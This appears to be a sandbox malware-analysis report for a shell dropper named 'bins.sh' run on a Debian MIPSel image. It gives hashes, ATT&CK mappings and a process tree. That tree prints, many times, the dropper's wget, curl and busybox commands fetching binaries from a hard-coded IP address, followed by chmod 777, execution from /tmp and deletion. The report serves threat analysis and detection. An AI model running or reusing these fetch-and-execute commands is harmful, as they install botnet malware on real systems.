a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04/11/2024, 14:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241104-rt7hka1gpr
SHA256 a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a
MD5 5875b85f6a853bb5dc85b0a88a7be4b0
SHA1 337556771a06e87851fd63266f40c71a79114b52
SHA512 b113dead6c232f3cba3dda0283cd0c8fbaa1e7b1d1d06ee63a7d084871ac0f8464efb6797f14f47f10728e58a2e68fb602e41e986c17eea55d99b87bfb0b1f21
SSDEEP 192:rLIRRHWiihpWPE8Mum+Nh8vRRHWiARpXum+NhP:rLVDWMPr
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 20 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
903	chmod
861	chmod
879	chmod
738	chmod
867	chmod
855	chmod
873	chmod
891	chmod
897	chmod
909	chmod
786	chmod
822	chmod
760	chmod
801	chmod
807	chmod
845	chmod
885	chmod
915	chmod
722	chmod
730	chmod

Executes dropped EXE 20 IoCs

Reads runtime system information 21 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	curl
File opened for modification	/tmp/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5	curl
File opened for modification	/tmp/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu	curl
File opened for modification	/tmp/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw	curl
File opened for modification	/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	curl
File opened for modification	/tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm	curl
File opened for modification	/tmp/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH	curl
File opened for modification	/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	curl
File opened for modification	/tmp/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH	curl
File opened for modification	/tmp/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE	curl
File opened for modification	/tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk	curl
File opened for modification	/tmp/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U	curl
File opened for modification	/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	curl
File opened for modification	/tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr	curl
File opened for modification	/tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0	curl
File opened for modification	/tmp/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3	curl
File opened for modification	/tmp/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp	curl
File opened for modification	/tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0	curl
File opened for modification	/tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr	curl
File opened for modification	/tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk	curl
File opened for modification	/tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:690
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:696
- /usr/bin/wget
  wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:699
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:719
- /bin/chmod
  chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Executes dropped EXE
  PID:724
- /bin/rm
  rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:725
- /usr/bin/wget
  wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:729
- /bin/chmod
  chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:735
- /bin/chmod
  chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:742
- /usr/bin/wget
  wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:757
- /bin/chmod
  chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:765
- /usr/bin/wget
  wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:780
- /bin/chmod
  chmod 777 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  ./0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:790
- /usr/bin/wget
  wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:800
- /bin/chmod
  chmod 777 iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  ./iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:803
- /usr/bin/wget
  wget http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  PID:806
- /bin/chmod
  chmod 777 u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  ./u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  PID:809
- /usr/bin/wget
  wget http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  PID:818
- /bin/chmod
  chmod 777 LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  ./LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  PID:840
- /bin/chmod
  chmod 777 30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  ./30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm 30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  PID:849
- /usr/bin/wget
  wget http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  PID:854
- /bin/chmod
  chmod 777 oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  ./oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  PID:857
- /usr/bin/wget
  wget http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  PID:860
- /bin/chmod
  chmod 777 aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  ./aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  PID:863
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  PID:866
- /bin/chmod
  chmod 777 Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  ./Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  PID:869
- /usr/bin/wget
  wget http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  PID:872
- /bin/chmod
  chmod 777 KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  ./KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  PID:875
- /usr/bin/wget
  wget http://216.126.231.240/bins/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  PID:878
- /bin/chmod
  chmod 777 jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  ./jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  PID:881
- /usr/bin/wget
  wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:884
- /bin/chmod
  chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:887
- /usr/bin/wget
  wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:890
- /bin/chmod
  chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:893
- /usr/bin/wget
  wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:896
- /bin/chmod
  chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:899
- /usr/bin/wget
  wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:902
- /bin/chmod
  chmod 777 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  ./0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:905
- /usr/bin/wget
  wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:908
- /bin/chmod
  chmod 777 iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  ./iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:911
- /usr/bin/wget
  wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:914
- /bin/chmod
  chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:917
- /usr/bin/wget
  wget http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

Path /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0

Path /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512